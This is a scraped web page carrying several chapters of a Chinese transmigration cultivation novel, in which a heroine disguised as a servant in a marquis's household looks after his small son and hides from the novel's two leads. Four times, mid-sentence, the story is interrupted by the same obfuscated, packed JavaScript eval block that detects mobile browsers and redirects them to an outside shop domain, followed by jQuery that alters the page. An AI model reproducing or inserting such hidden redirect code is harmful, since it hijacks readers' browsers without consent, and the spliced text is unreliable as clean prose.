柳今初抬头,就见身旁有几个下人都侧身低着头,身子都要融进那花木里了,腾出了一条宽敞的石子路,她也立刻意识到什么,学着旁人的样子垂头站着不动,只是让她心慌的是她不知待会侯爷王妃还有方才那小郎君来了要如何行礼,她对这些一概不知。 而且更不知那小郎君会不会记得与她的约定,毕竟孩子终归是孩子,说不定玩得愉快了转头将那些话抛到了脑后。 虽用点灵力就能解决, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792327|210434||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 可她实在不愿惊动了就离这侯府不远的裴卿和芷汀,以他们的能力,在她释放灵力时就能察觉到,毕竟要让侯府所有看得见她的人都丢失这段记忆需要耗费的灵力虽不多也足以让两位金丹修士发现了,那她又要化回远东女子的模样又演下去么? 想到此她又想起先前自己灵气扩散而看见两人去客栈的事,这似是不太严重,毕竟凡间多少也有灵气,灵气何处都有,只不过是稀薄与丰厚的不同罢了。 焦灼间,她听见左侧有沉闷的响声,似是什么东西忽地触地所发出的声音,随后便听见了声音发着抖的求饶声,随后那沉闷的声音陆续传来,她侧目一看见许多人都跪在石子路上,额头触地。见此她也学着做,只是不知道发生了什么事。 “奴该死,是奴没有看好小郎君!” 回应那下人的男声随着几声脚步声从模糊变得清晰,前半句柳今初没听清,不过后半句一出来她便知是什么事了。 “怎么,你是觉得小郎君顽皮丢了风帽,而不是你没照料好是么?”沉哑的声音中蕴含几分怒意,尾句似是咬牙切齿说出来的。 “奴知错了,奴、奴该罚!若侯爷准许,奴定会翻遍侯府找出小郎君的风帽来!”那声线似是已经染上了哭腔,有几分悲戚之意。 柳今初回想起来,方才见那玉雪团子时就觉得奇怪,这娃娃还小,头发也没那么多,又是深秋时节了不戴绒帽定会受凉,想来这会说的就是这事了。 不过这侯爷实在有些跋扈了,虽说是个位高权重又有一帮下人伺候的人难免有些嚣张,可也不至于这般不讲理专挑些鱼骨头说事,柳今初实在想出了心中的恶气,她最是看不得下属被上司欺负了,放在古代也不为过,更何况她可是现代来到,对这种粗陋传统更是抵制。 于是她用了点灵气,只在指尖处汇集了一点白色的小光珠,看准绸缎衣身的侯爷在何处站着,指尖稍稍挥动,狠扯了一下他披着的裘衣,见他踉跄她止不住弯唇,但忍着没发出些明显的声响。 “何人?敢对孤这般动手!”声音不大,似是怕低着头的下人听了会笑话他一般,不过从这气急败坏的声线看得出这侯爷很是气愤了。 见他衣摆转动,应是回身向后看去了,柳今初轻轻呼气,想缓解一下因为忍笑而有些隐隐作痛的肚子。 “侯爷,近些日子这般怪事连连,不如改日请些高僧来看看吧。”女声柔和,带有几分安抚意味。 柳今初听了皱眉,怪事连连为何?这府中还有像自己衣摆被什么扯动而回头又空无一人的怪事发生么? “今日便请,孤觉得这侯府近月似是沾了什么不好的东西,还是这些新来的下人来带的?来了侯府半月了,做事还有误。” 柳今初觉着不对,这侯府定然不简单,再加之裴卿他们也在这侯府附近,想必是有意而来了。 20. 第二十章 正觉跪着腿有些麻,柳今初稍稍动了动,欲放松一下,不然待会儿她站起来都是个问题。 “这位姐姐,她好似也是近日才来的,阿云今日第一次见!”那玉雪团子一步一踏慢慢走到柳今初跟前,柳今初心觉不妙,果然小孩子对承诺什么的转头便忘不是什么稀罕事。 不过眼下她也只好认了,盯着这小郎君那华丽精致又厚实的下摆,她又觉得后背有些寒凉,有风刮过似的。 “嗯?这位姐姐,阿云何时见到的?”那柔和的声音传来。 “清晨吧,阿云见、见这位姐姐早早起来做活。”那稚嫩的童音让人听着很是治愈,至少现在低着头的柳今初很是喜欢。 “是么,那阿云你的风帽怎么丢了?”声音冷涩,听着是普通的问话,可柳今初总觉得这侯爷怒气未散现在又欲升起了。 “风有些大,阿云也不知去了何处。” 柳今初正细细听着,不想错过任何信息,忽地视野中就出现了一双白嫩嫩的小手,华美的刺绣衣袖上还有毛茸茸的绒毛,看着暖和又可爱。 “阿云似是喜欢同这姐姐玩。你抬起头来,说说名字。” 柳今初眉心一跳,她要做的活要从简简单单的给花浇水变成带小孩、哄小孩了么,不过再怎么不愿意她现在也没什么法子。 “唤我小初便好。”事发突然柳今初一时半会儿没想到什么名字,又怕自己随口胡说一会儿忘了露馅,只能套用以前在公司上班时同事叫她的称呼了。 “小初姐姐,同我去后院放风筝吧!”那孩童笑得天真烂漫,脸颊红扑扑的,看着比一般孩童要好相处很多。 柳今初下意识看了看一身华服的侯爷何王妃,惊觉这原著小说对npc的描写也是一视同仁的,两人都生得一副好皮囊,看着很是赏心悦目。 不过她要改改自己看人眼色的工作习惯了,既然穿了书,换了个世界,那就是有了个重新做人的机会,何必还这样小心翼翼。 “是。”柳今初象征性回了话,得到侯府的两位主人的点头准许后站起身,凭借着对侯府布局的印象,跟在小郎君身后一路七拐八绕地走到了宽广后院。 后院有一处很大的空地,空地正前方有做圆形的拱门,拱门旁有两盆绿植,绿色的枝叶上长了一朵鲜艳的黄花,柳今初看不出品种,但是这花的花瓣层层叠叠的很是美丽。 “小初姐姐,风筝在这,昨日我放了几个时辰忘了叫人放回去。”那小郎君侧身指着地上躺着的锦鲤模样的风筝,回头望向她,眼睛亮晶晶的,显露出孩童的喜玩乐的天性来。 “昨日玩了这么久还没腻,今日又来玩,小郎君很是喜欢放风筝?”柳今初伸手触摸风筝橙红相间的表面,有些粗糙的感觉,又不是很轻薄,看着像是厚厚的纸浆糊制而成的。 “那是自然,这风筝在天上游,多快活!” 柳今初顿了顿,仰起头看淡蓝色的天空,今日的天空没有云,更像浅浅的水面了,如此看来放在天上飞的锦鲤风筝的确是在“游”。 忽地衣摆被轻扯了一下,柳今初回头看着小郎君,察觉到这孩子的风帽还没戴呢,而他的爹娘把他交给她后就不知去了何处,不过她估摸着两人应该是赶着去请什么僧人看看侯府是不是进了什么脏东西了,怎么看这可爱的玉雪团子算是有个便宜爹娘了。 “你的风帽还知是何时不见的么?这么冷的天还是戴上好些,戴上风帽我们在放这锦鲤到天上游好不好?”柳今初温声道。 见他点点头,扎着的小辫一晃一晃的,有些呆柳今初不禁笑出了声。 “不记得了,不知被风吹去了何处。我们再去屋内拿一个吧。”他似是急着放风筝,边说着边拉起柳今初的手,只扯着一根食指。 感受到指尖传来的温热柔软触感,柳今初稍稍俯着身,配合着他一路走着,穿过长廊,长廊上多是红棕色的柱子,靠着院内的一侧挂着竹帘,有浅浅的阳光投射,光影映着长廊地面的砖石,影影绰绰,典雅清幽的意境浓郁。 穿过长廊一半时,柳今初发现侯府的大门在长廊旁,大门处拥挤着许多下人,好在侯爷和王妃高过许多下人,她只是稍稍站直身就能看清两人侧身与什么人交谈的身影。 为了看清是什么情况,她将小郎君抱起,挺直了腰板,稍稍踮脚就看见了依靠着侯府门框上的束发男子和正与侯府王妃交谈的女子,两人都是一身华服,浑身透看着金银的味道,腰间别了不少玉饰和钱袋,夸张来说,可以用腰缠万贯来形容了。 不过再定睛一看,她觉得两人的装扮似曾相识,似是见过,或许也是富商都这么打扮,柳今初没多想放下小郎君,继续穿行长廊来到一间屋子里。 屋内东西不多,简单摆放着一下木桌木椅,不过屋内的陈设很精美,花纹浮雕很多,什么花木鱼鸟都有,再往里走些,她便看见了罩着纱质布子防尘的衣物,鼻尖还传来了一种香气,很像什么香木焚烧的味道。 她四处找了找,没一会儿就翻出来一顶绣着花木的风帽,抖了抖风帽上的灰尘,柳今初便给一直站着看她四处翻找的小郎君戴上。 “是这顶!阿母绣的!”孩童似是见了什么宝贝一样,双手轻扯着发顶上的风帽,爱惜地摩挲了一下。 “阿母?”柳今初脚步顿了一下,猜想这应该是他的奶娘,不禁想来想去这小郎君也就只叫王妃“娘亲”,那这“阿母”应该就是奶娘了。 “小郎君,怎么不见奶娘陪你玩呢?”见他还这么小,柳今初觉得奶娘应是还会跟在他身边的。 听见柳今初这么问,小团子的表情瞬间就变了,瘪着嘴一副要哭不哭的模样,看得柳今初很是心慌,要是哄不好又被他爹娘听见了,她不就要被问话了么。 “前些日子就不知去了何处,阿云问娘亲, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792328|210434||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 娘亲说她不在这做活了。”阿云近乎是含着泪花说出来的。 柳今初心敢不妙,自己也是倒霉,从一堆精美的风帽里偏偏就选中了这个,“阿云……” 还未开口呢,她便听到了几道脚步声,似是从斜后方传来的,有些沉闷,似是在克制一般,她当即转身,只见这屋子另一个房内透出了光,应是有人掀开了帘子,阳光透了几分出来。 “何人?”柳今初向前一步走去,就见是一个身着米灰色粗制麻衣的老妇,头发并未全部花白,还能看出些黑发,只是看着很疲惫,面色蜡黄,唇近乎没有一点血色,佝偻着身子。 那老妇见了她当即快步走上前,好声好气道:“姑娘莫叫唤出声,老奴不是什么怪人,是这以前的乳母。” 柳今初疑惑抬眼细细看那老妇,觉着有些面熟,但说不出在何处见过,看了看那有些沧桑疲态的脸,她似是想到了什么,将老妇拉进刚才的房内,又向那小郎君说,“这是你的阿母,对不对?” 小郎君抹了抹眼角的泪花,看清了来人后几步小跑到跟前,没有嫌弃那粗糙的衣料磨皮肤,侧着脸颊靠在乳母身上,小手紧抱着她。 柳今初觉得两人也是缘分不浅,才提到这乳母,这会儿就像是心有灵犀一般,那阿母也悄悄来见他了。 只是这乳母看着不像是自己愿不在这侯府做活的,更像是迫于什么,不得已离开的。 “这位乳母,怎会离开了侯府?”似是自己的话怕伤到了人家,柳今初又补充:“并非有意提起,看你与小郎君关系和睦,这般要好,觉着奇怪才这般问的。” 那老妇隔着孩童的风帽抚摸着他的头,叹着气,“我也有个孩儿,只是他上了山,说是去寻钱了,可好几月过去,他也没有捎句话给我,我担忧他,便辞了在侯府的做乳母的活。只是近些日子头疼得愈发厉害了,先前在侯府寻来的药忘了取……再回来取,又怕惹了侯爷王妃不悦,只能悄悄来。” 说到此,那老妇似是怕眼前的少女向两位主人说了取,赶忙又道:“姑娘莫觉得老奴是来偷窃什么,这药是侯府的厨娘替我寻来的,若姑娘不信可去问问。“ 柳今初摇摇头,她没怎么听进去后面的话,而是问起来前面的事,“你说你又个孩儿,孩儿上了山。上了什么山,你的孩儿叫什么?” 老妇虽不知她为何问起,但还是如实应答了,“老奴也不知,这娃娃同你差不多大,我就叫他谦儿。” “谦儿……”柳今初觉得奇怪,这个名字明显只是小名,“这娃娃是你的孩儿?” 虽说这样问有些冒犯,不过她一时间只顾着问出心里的困惑了,问完又只好歉意笑笑,等着老妇再答。 可紧接而来的不是那老妇沧桑的嗓音,而是从门外传来的几声招呼声。 “如此看来,我们侯府算是迎来了两位贵人了。外头风大,两位进来便是。” 21. 第二十一章 柳今初在心里大喊不妙,当即将小郎君拉入帘子后,随后又对那老妇说:“你方才从哪进来的,现在能出去么?” 那老妇也是慌了神,浑浊的眼瞅着帘子外声音传来的地方,脚步虽然慢了些,但这样也不会发出什么太大的声响,没一会儿就从另一处透着淡淡阳光的地方离开了这间屋子。 柳今初本想着也跟上去离开这是非之地,免得和几人碰面,这要是发现她和这辞退的老妇有交集,她定是要被赶出侯府,再进来又麻烦得很。 可不听听裴卿他们想做些什么又不太不行,柳今初总觉得男女主在的地方定有什么关键事件发生,但她记不太清原书里写的情节了,特别是关于这侯府的,这让她微微握了握手,但愿不是什么重要的事情,更不希望这是之后的剧情,那便快进得太多了。 于是乎她决定留下来,随便找了一个隐蔽的角落藏了藏,运转体内的灵气,使这灵气薄薄地覆盖在她和那小团子身上,又稍稍加工了一下这个简陋的屏障,使其隔绝声音防止进来的几人听见,毕竟她没有什么本事保证这孩童不吵不闹。 一切准备就绪后,她便听见了熟悉的声线,淡漠平稳,不过遣词造句上又多了商人的谨慎与猜疑感。 “我们手上有一批上好的五色罗,想来王妃的生辰也将近了,用我们的五色罗做身新衣裳想必是不错的选择。” “而且,这五色罗可是上品货。不过……我们此次前来并非只是为了这五色罗。” “那是为何?” “近日许多与草民结交的官员都曾问起鬼神之事,觉着家中有颇多怪异之处,不少官员寻我找了鬼师和道士。方才又听闻侯爷提起,侯府中似是有什么怪事发生过,草民恰巧有幸在商贸时结识了一位法力通玄的道士,若侯爷有需要,我便请他来看看。” 只听那侯爷从喉咙里发出轻笑,随后便传来了倒茶声,过了良久,他才又道:“不愧是经商之才,这道士想必不是什么普通的道士,本侯能否请到还须另说,不过有劳了。” 柳今初第一次听裴卿一口气说这么多话,一时间忘了自己还藏在角落里,待反应过来,她才发现自己蹲着的腿一直没动过,加之她刻意压制着体内的灵气使其不能在全身流动,此时已感觉不到自己小腿的存在了,只能慢慢挪动脚踝,尽量不做出什么动静。 毕竟她只用了一点儿灵气藏身,生怕被两人察觉出来这里还有一个修炼之人,到时又要另扯一个谎,俗话说谎越多,越是要用更多的谎来圆,她做不到太缜密,便不选择冒这个险了。 正悄悄伸直了一条腿,靠着肩头昏昏欲睡的玉雪团子的口水就顺势滴落在她的袄子上了,晕染出一小片深色的湿润痕迹,柳今初看着皱眉,抬眼又看见他可爱的脸颊肉,顿时火气又消去不少,罢了罢了,她不与孩童计较什么,跟何况这还是个四岁大的小侯爷。 于是乎她为了不惊醒这小团子免得闹着跑出去见娘亲爹爹,只得小心翼翼地舒展下半身,上半身尽量保持不动,等血液流淌恢复正常后她才伸回小腿,但有些不幸的是裙摆还落了半截在阴影外。 正当她要伸手扯回来时,忽地被人踩住了一角,抬眼向上看,那背影宽阔,衣饰华丽,将她本就狭窄什么都看不全的视角遮了个严严实实。 不过她怦怦直跳的心缓了不少,好在是背影,不然那便是被发现了,扯也不是,不扯也不是,如此她也只能干等着了。 随后柳今初便没再听到什么有用的消息了,后面几人的谈话无非就是这五色罗要做什么款式的衣裳华服,近些日子铺子又流行卖些什么,侯府内有什么需要大批买入的物品,不过几人说着聊着就提到了留宿的问题。 柳今初听到这睁大了眼,这侯爷也是为了侯府花销着想,留了裴卿和芷汀住一旬便能从两人手上便宜进入一批价廉的瑞炭供府内贵人取暖用。 可侯爷算是赚到了不少,她倒是没那么好过了,眼下这十天她都要好好掩藏自己的身份了,不过她最为下人只住在偏远残破的倒座房,而作为富商的裴卿和芷汀会被安置在外院厢房,平日她许是见不到两人几面的。 心才被放下,脸颊贴着她肩头趴在她背上的小团子忽地动了动,随后柳今初便听到了迷迷糊糊的声音,她忘了王妃还让她照应这小郎君,若往后都要她帮忙看着小郎君,那与裴卿和芷汀见面不是极为频繁的事了么。 忽地,柳今初察觉到自己的裙摆处传来了一股轻微的拉扯感,带动她紧绷的神经一起颤动,虽然她藏在帘子下,又有层层叠叠的柜子遮挡,大半边身子陷入阴影里,可踩着她衣摆的人不是什么普通人,而是裴卿,不须动用半点灵力就可以察觉出这帘子后藏着什么。 透过那薄纱和珠帘,柳今初对上了一双冷得似冰窟的双眸,眉眼中没有一点波澜,仿佛就像他根本没发现她一般,可那双眼睛盯了这么久,柳今初坚定他定是发现了什么,只是没有在面上做出反应罢了。 可眼下该如何是好,不过她相信裴卿自是不会管侯府上的小事的,应是不会当即向侯爷和王妃说这珠纱帘后还有个活人。 相反更让她觉得裴卿身上散发出危险的气息的是,那张没有什么情绪的脸,竟慢慢勾起了一边唇角,弧度不大,可对于以前整日面对裴卿那张平平淡淡的脸的她来说,这表情实在明显,甚至让她觉得有些额外的情绪在。 柳今初屏住呼吸,胸前的衣裙起伏变得轻缓,而靠在自己身后的孩童似也被定住一般,竟没了什么动作,柳今初只能感觉到他紧紧攥着自己肩膀处衣褶的手在轻微颤动。 裴卿还吓到小郎君了么?不单激了她一下,还唬到了孩童,好在她先前设下的屏障可以阻隔声音向外传,她倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792329|210434||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 是没有那么怕小郎君啊呜一声哭出来,不过该安抚还是要安抚一番,不然让王妃侯爷见了她便只能又想个法子再进侯府一次。 与裴卿的目光接触只有短短几秒,不过那刺骨的寒意倒是只直穿心底,柳今初不禁打了个寒战,压下那份不安后,她才后知后觉那眼神是什么意思,与其说是威慑恐吓,不如说是杀意。 这一念头瞬间带起一身冷汗,再抬眼看向那高大的身影时,他已转过了身,发出方才与侯爷交谈时那平淡的声音,“无妨,只是背后袭来了寒风,许是我们应早些送来瑞炭供侯府取暖才是,草民有失礼仪了。” 柳今初没再听几人闲谈,将小团子拥在怀里,随手扯过身后开了的小匣子,从里面找出一只布虎摇晃一下,引得好玩乐的小郎君伸直了小手去拿,孩童天性纯真,一下便被吸引了注意,摸着精巧的布虎耳朵仔细瞧看着。 怀里虽抱着一个温温热热的小团子,可柳今初感觉身后靠着的木柜更让她觉着冰寒,浑身血液都似凝固了一般,又是隐在没有温暖的光的阴影里,更是觉着上半身僵硬无力了。 柳今初双眼失神,隐隐约约能察觉到眼前模糊的身影,裴卿依旧站在她面前没移开,只是她感觉衣摆的拉扯感变淡了,他应是移开了步子,柳今初轻拉了一下果真将衣裙拉回了脚边。 只是她心里依旧不安,觉得裴卿在她看不到的地方,像是换了个人,就仿若她从未认识过他一样,她认识的裴卿不会对任何弱小的人释放威压,更何况她现在的身份还是一个手无缚鸡之力的凡间下人,更谈不上有什么威胁了,可他又为什么想对这样一个人下手。 不过更让她觉得矛盾的是她自己,为什么会这样害怕他这样的目光,或许说不是害怕,而是到了恐惧的地步了,可为何如此,还是说她觉得裴卿会透过这凡人身形杀了她不成,或许说杀了柳今初,而不是她。 柳今初不愿再说深想下去,狠狠咬了一下自己的下唇,感受到口腔中的腥甜与铁锈味交织的味道才缓缓回神, 晃晃沉重无比的脑袋,她耳边的嗡鸣声渐渐退去,听不见什么交谈声了,只有寒风呼啸声与黄叶簌簌飘落的声响。 站起身后,柳今初撑着身后的墙柜缓了会儿才拉起还坐在地上摆动布虎的小团子,指尖运转几丝灵气,绕转在乖巧站立的小团子身上,片刻就将这段记忆清除了,好在这记忆不多,所用的灵力也就少了,周围的灵气空间稳定如常。 “走吧,戴好了风帽,我们小郎君去放风筝如何?”柳今初看着他小手紧握着布虎,柔声开口。 只见小团子兴奋地点点头,风帽都歪了,只露出一张红润润裂开欢笑的小嘴。 “那便走吧。” 无奈将风帽扶正后,柳今初便带他来到了那宽阔的后院,已是接近午时,树影渐少,空气也渐渐暖和起来。 22. 第二十二章 陪着小郎君在院子里放风筝,吹了大半天秋风后,柳今初脑袋昏昏沉沉的,躺在狭窄的铺子上时只觉得眼皮沉得厉害,闭上了眼睛就能沉入梦乡的程度。 可她思绪也乱得很,像丝丝交缠的细绳,越是急切地解开它们缠绕得便越紧。 柳今初在铺子上辗转反侧,闭着眸却不是一副要安然入眠的模样,唇角平直眉头轻皱,看着很是苦恼。 她觉得自己遇到的事越发离奇了,明明本就为原著多处情节发生改变和推进的变化发愁,眼下徒儿又给自己来了一道杀意满满的眼神,她真当不知该如何是好了,这侯府下人的身份也不比远东海域之女好扮到哪去。 “小初,你今日是不是受了那侯……”话说一半,离柳今初最近的一名女子轻声开口,似是怕人听见自己说了什么,转头又同别人说自己在说侯府两位大主子的闲话,于是止了嘴。 “那两位让你去照看玉雪团子,虽说这事很是不寻常,不过你如今也安然无恙,那便无需担忧太多了,好好歇息吧,明日还要干许多活呢。” 柳今初以为身旁的人都入了眠,忽地被这么提醒,她有些不好意思,平躺着在黑漆漆的夜里点头轻声回了句,“多谢姑娘,我有些唐突了。” 不过她还是在心底回了一句,她对侯爷王妃的安排倒是没有什么反应,顶多是诧异,真正让她发愁的还是她被踩脏的裙角,她有些担忧明日会不会一撞见裴卿就被他猛然发来的灵力撞得七零八碎了,她藏也不是不藏也不是,可她也不愿又这么“死”一次。 更何况作为远东海域之女的她还不知道该怎么向两人解释,她觉得以芷汀的性子,这次失踪必然会被她细细调查,至于裴卿,她已经将他纳入视而不见、听而不闻的范围了。 遇事不决,那便先入睡吧。 这一夜虽不长,但柳今初做的梦却不短,几个光怪陆离零零碎碎的片段杂糅着从她脑海中浮现又消失,一觉睡醒睁开迷朦的双眼脑袋是一片空白的,若不是那点做梦后的恍惚感还依稀残留着,柳今初都要觉着自己是一夜无梦好眠了。 微眯双眸,柳今初只能勉强睁开点眼皮适应晨间的阳光,左右看看还有零星几人在后,她便顺从这自己厚重的眼皮闭上了眼,动作利落熟练地给自己穿套衣裳,裹上昨日穿过的袄子。 还未踏出门呢,那熟悉的叫喊声便传入了耳间,不过听得出声音小了许多。 “是。”随意应付玩,柳今初便离开了倒座房前的那块小空地,裹紧了袄子在寒风中穿梭,她习惯了待在宗门时一觉睡到正午的感觉,这几日要在红日刚露头时起床可真是要了她的老命。 “小郎君也起这么老早么……”柳今初喃喃几句,在冷风中走了许久,穿过长廊,已然清醒了许多,不过浑身仍旧软得像没力气那般。 若是能陪小郎君睡个回笼觉那该多好,小孩子就须多多睡啊,更何况是这凉风瑟瑟的秋日清晨呢。 “婢子给娘子、小郎君请安。”柳今初搬出事先打好的草稿,行礼请安后,在王妃的注视下拉着小郎君去用早膳了。 起初柳今初微微倾身让玉雪团子拉着食指还觉着有些不便,于是将人抱起,一路慢慢悠悠地走向内堂,这一听便是侯府主子们用膳的地方。 不过王妃怎不自行带着小郎君去用早膳,方才见她似是有事般,看着她领人走后就起身了,不知要去何处。 不过再回头想想,听府内下人说王妃生辰将近,王妃应是忙活她的生辰宴去了。 还未踏入内堂,柳今初便听见从屋内传来的细细碎碎的交谈声,里面似是有人,只是她不知是谁,可简单想想内堂这地方除了侯爷王妃还有小郎君可以随意进来用膳,还能有谁能进来,眼下王妃自己方才才见过。 那么这般推测,里边的几人无非就是那两位富商了,最多还有侯爷在。 刚触及版门的指尖缩回一点,柳今初撤下刚刚走上前一步的步子,双手抱住小郎君,将怀中的玉雪团子掂了掂。 “小初姐姐,我有些冷。” 感受到他毛茸茸的风帽沿擦过自己的脖颈,柳今初深吸一口气,轻敲了敲版门,启唇告知来人是谁,便轻推开了门。 她没直接抬眼看坐着用早膳的几人,鼻间嗅闻到了丝丝缕缕的粥米香和炙烤过的羊肉香气,她想着将小郎君送到这里,自己应许该退下了,只可惜不能单独与小郎君用早膳,否则说不定她也能尝上几口。 作礼后,柳今初依然微微垂头敛眸,将小团子放下位子上安顿好后才侧身离开。 虽说她没抬头看几人,不过只见那衣衫下摆她便能认出有些什么人来,除开小团子,围坐在木桌上的有三人,除了侯爷以外,余下两人便是裴卿和芷汀了。 不巧的是,她进来和出去都要从裴卿和芷汀身后穿过,不过好在她已经可以离开了,而几个大人也没开口对说什么,多是相互轻声交谈。 正当柳今初要踏出门,双手触及门把欲将版门合上隔绝内堂外的凉风时,忽地有人开了口,声音淡淡,好似就只是一句不带任何情绪的吩咐。 “小初,更一盏栗子粥。” 柳今初捏着门把手一僵,已踏出门槛的一只脚顿了顿又站了回来,行礼应下。 她越发觉得昨日那么久不撤开步子让她拉回衣摆的裴卿并非无意,而是有意而为的了。 方才她才瞧见桌上滚滚冒着热气的栗子粥是满的,添什么栗子粥,对于一个辟谷又不喜吃喝的剑修来说,此举就是多此一举! 虽已经咬牙切齿了,但柳今初现在就只是个下人,除了出声应下也做不了什么了。 不过柳今初很是意外,裴卿才进侯府没一日,怎么就知道了她这个下人的名字的,还敢这样出声直接使唤她,这侯爷也没作声,准许外人这样不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792330|210434||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 顾及他侯府的颜面么? 柳今初不愿再细想,她一路七拐八绕才走到了厨司处,与这做吃食的人吩咐几句后,柳今初顺利端上了一盏冒着热气的栗子粥,不用倾身凑近嗅闻就能闻到香甜的栗子味,柳今初咽了咽唾沫,决定自己以后要找个机会去尝尝这洛阳的最好栗子粥是什么味。 回到内堂,柳今初将桌上的空碗碟撤下后,轻轻端上方才取的栗子粥,仍旧是低垂着眼,做完一切她如愿出了内堂,离开了温暖的室内,在外头站着等小郎君用完早膳。 吹着凉风,柳今初虽觉着冷,但她也不愿进去内堂,即便那里燃着取暖用的瑞炭。 不过她实在有些饿,可王妃的吩咐铁硬若石,她只能围着小郎君转,而且还要等那些主子吃完她才能用早膳,待那时到来都能让她饿昏了。 这么说确是有些夸张,可柳今初习惯了一醒来就能享用鲜美早点的日子,再坏些,她也能去集市上买些人间吃食,现在到了侯府,吃不好穿不暖。 带她到此处的魔气可真会折磨人,想到此,柳今初忽地想起林谦,与他分开也有一日过去了,她在这侯府是这样让人难以注意的下人,也过得提心吊胆一时间都忘了正事。 此行虽有惊险,但昨日那老妇似与林谦有些关系,她口中的孩子的所作所为与林谦的也极为吻合,如此一来她今日也有事要做了。 * 随后几个时辰柳今初都没再遇见裴卿两人,她只在小郎君身旁待着,让她惊奇的是在这唐代孩童的玩具并不单一,各式小积木和小木车都有,小团子也比其他孩童乖巧得多,要夸张点说,那便是温良话多一点的儿时裴卿。 柳今初托了小郎君的福,整个上午都同他待在温暖的屋内,靠着瑞炭炭火,浑身都暖烘烘的,若是整日都那么安详柳今初觉着这日子还是不错的。 待午时将近,柳今初照旧将小团子带到内堂用午膳,有了今早的经验,她面对两位富商时行为举止自然了几分,而好在裴卿也没再对她说过什么。 只是她离开时还能察觉到背后冷冰的视线,似是沾在了她后背处,等她离开内堂好远,那份被注视的异样感才消失。 柳今初甚至还有了裴卿是不是在用灵气窥看府内情况的想法,可略微施展灵气后她又没发现一丝一毫属于裴卿的湖蓝色灵气。 不过这并非她今日要多多在意的事,而偷偷趁着小郎君用午膳后又要和新来的乳母午寝离开侯府,她只需在几个时辰内办完事变好。 离开侯府后,柳今初便可运转更多灵气,只要控制好度量,侯府里的两位富商就察觉不到灵气的异样波动,而有了灵气,柳今初行事的速度便可以加快许多,一个时辰内就能处理妥当。 思来想去这法子很是天衣无缝,柳今初顺利从昨日那老妇进侯府的地方出了侯府,幻化了一身寻常百姓穿的衣裳,渐渐没入集市的人群之中。 23. 第二十三章 将近午时,而偏那洛阳又是繁华地带,集市上车水马龙,柳今初顶着正午的太阳随着缓缓流动的百姓捻着步子。 走出离侯府有段距离后,柳今初从熙熙攘攘的人群中挤出来,站着一个客人不算多的摊子前,正欲从摊子旁的空隙离开时,忽地回头看了看那香喷喷的烙饼。 柳今初指尖触及自己腰间的承露囊,摸了摸发现还有不少开元通宝在里头,于是便在此解决了自己的午膳,唤了店小二要了张带肉馅的烙饼,便四处看看有没有位子可以坐下歇息。 虽说这个摊子的客人不算多,但在这政务人来人往的集市上,摊子前的椅凳也不足那几位先来的客人坐。 柳今初只好干站着等,她轻轻依靠在支撑摊子小棚的木柱上,盯着忙前忙后的店小二忙前忙后的店小二觉着这样普普通通,但又实在充实的日子似乎也开始让她向往了。 等着午膳端上来的时间里,柳今初也没少做事,先是施展开一层薄薄的灵气网,从她的襦裙裙摆一路延展到整个集市。 一股浓郁的炭烤味扑面而来,柳今初当即回了头,看着店小二端着的一张大饼,表皮有几处被烘烤过的痕迹,散发着焦褐色,看着很是诱人,再嗅闻就是厚重的酱肉香了。 这铺子虽没像其他铺子一样人满为患,不过这吃食的卖相也不差,柳今初接过烙饼,从承露囊里拿出几枚开元通宝付了账便禁止离开了这个小铺。 沿着集市摊子一路慢慢悠悠地走了会儿,柳今初手上又多出了许多吃食,甜咸都有,不过她一下吃不完太多,可又眼馋许多八珍玉食,想来想去找出了个折中的法子。 她将吃食分了一半,觉得眼前这座用茅草破瓦搭起的房舍的主人应不会拒绝。 柳今初上前一步,腾出一只手轻轻叩响木门,细细一看便能瞧见木门边框上生了些苔藓,上面还有多处划痕,颜色深浅不一,似是新旧划痕交叠在一起了。 “阿婆?有人寻你。” 柳今初叩完门启唇开口,声音不大,她怕惊扰了紧挨着这间屋舍的其他人家,毕竟这也到了午时,许多人家也是要午休的,她惊扰别人总归是失礼的。 